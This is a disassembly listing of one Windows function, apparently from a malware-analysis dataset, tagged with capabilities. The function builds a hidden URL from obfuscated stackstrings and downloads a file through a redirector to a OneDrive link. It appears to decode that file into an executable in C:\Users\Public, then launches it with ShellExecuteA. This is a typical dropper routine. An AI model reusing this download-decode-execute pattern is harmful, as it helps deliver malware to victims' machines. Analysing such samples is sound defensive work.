Function at 0x401f80
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
mov eax, dword [0x5b47a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x1fc]
push eax
mov esi, ecx
mov dword [ebp - 0x1fc], 8
mov dword [ebp - 0x1f8], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.0040aa7c
push 0x103
lea ecx, [ebp - 0x173]
push 0
push ecx
mov dword [ebp - 0x18], 0x555c3a43
mov dword [ebp - 0x14], 0x73726573
mov dword [ebp - 0x10], 0x6275505c
mov dword [ebp - 0xc], 0x5c63696c
mov byte [ebp - 8], 0
mov byte [ebp - 0x174], 0
call fcn.00500d60
add esp, 0xc
push 0x104
lea edx, [ebp - 0x174]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x18]
push edx
push 0x56329c
push 0x563298
push 0x56329c
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push str.DUT_FX
mov ecx, esi
call fcn.00407aa8
push 4
mov ecx, esi
call fcn.00409a3a
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x70], 0x70747468
mov dword [ebp - 0x6c], 0x2f2f3a73
mov dword [ebp - 0x68], 0x2e776e6f
mov dword [ebp - 0x64], 0x312f6363
mov dword [ebp - 0x60], 0x2e767264
mov dword [ebp - 0x5c], 0x753f736d
mov dword [ebp - 0x58], 0x683d6c72
mov dword [ebp - 0x54], 0x73707474
mov dword [ebp - 0x50], 0x312f2f3a
mov dword [ebp - 0x4c], 0x2e767264
mov dword [ebp - 0x48], 0x752f736d
mov dword [ebp - 0x44], 0x4121732f
mov dword [ebp - 0x40], 0x4650466b
mov dword [ebp - 0x3c], 0x644f5a70
mov dword [ebp - 0x38], 0x67417736
mov dword [ebp - 0x34], 0x7454486e
mov dword [ebp - 0x30], 0x79364f6f
mov dword [ebp - 0x2c], 0x47694b54
mov dword [ebp - 0x28], 0x3f5a752d
mov dword [ebp - 0x24], 0x30633d65
mov dword [ebp - 0x20], 0x47567648
mov byte [ebp - 0x1c], 0
call fcn.00402b20
mov esi, 0xf
mov eax, str.C:ProgramDatadef49a214219.dat
mov dword [ebp - 0x198], esi
mov dword [ebp - 0x19c], 0
mov byte [ebp - 0x1ac], 0
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402120
sub eax, ecx
push eax
push str.C:ProgramDatadef49a214219.dat
lea ecx, [ebp - 0x1ac]
call fcn.00401bf0
lea eax, [ebp - 0x70]
mov dword [ebp - 0x17c], esi
mov dword [ebp - 0x180], 0
mov byte [ebp - 0x190], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402157
sub eax, edx
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x190]
call fcn.00401bf0
lea ecx, [ebp - 0x1ac]
push ecx
lea edx, [ebp - 0x190]
push edx
lea ecx, [ebp - 0x1f4]
call fcn.00402de0
mov ebx, 0x10
cmp dword [ebp - 0x17c], ebx
jb 0x4021a5
mov eax, dword [ebp - 0x190]
push eax
call fcn.00407a9d
add esp, 4
cmp dword [ebp - 0x198], ebx
mov dword [ebp - 0x17c], esi
pop esi
mov dword [ebp - 0x180], 0
mov byte [ebp - 0x190], 0
pop ebx
jb 0x4021d5
mov ecx, dword [ebp - 0x1ac]
push ecx
call fcn.00407a9d
add esp, 4
lea ecx, [ebp - 0x1f4]
call fcn.00402a90
push str.4976172849618296785
push str.C:ProgramData_f93618e93beb4a4181526d7a38c169a4.dat
push str.C:ProgramDatadef49a214219.dat
call fcn.004011f0
push str.C:ProgramData_f93618e93beb4a4181526d7a38c169a4.dat
push str.C:UsersPublic_
call fcn.00401120
add esp, 0x14
push 0
push 0
push 0x56328d
push str.C:UsersPublic00C04FC964FF6F9619FF.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x1f4]
call fcn.00402bc0
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.004fff81
mov esp, ebp
pop ebp
ret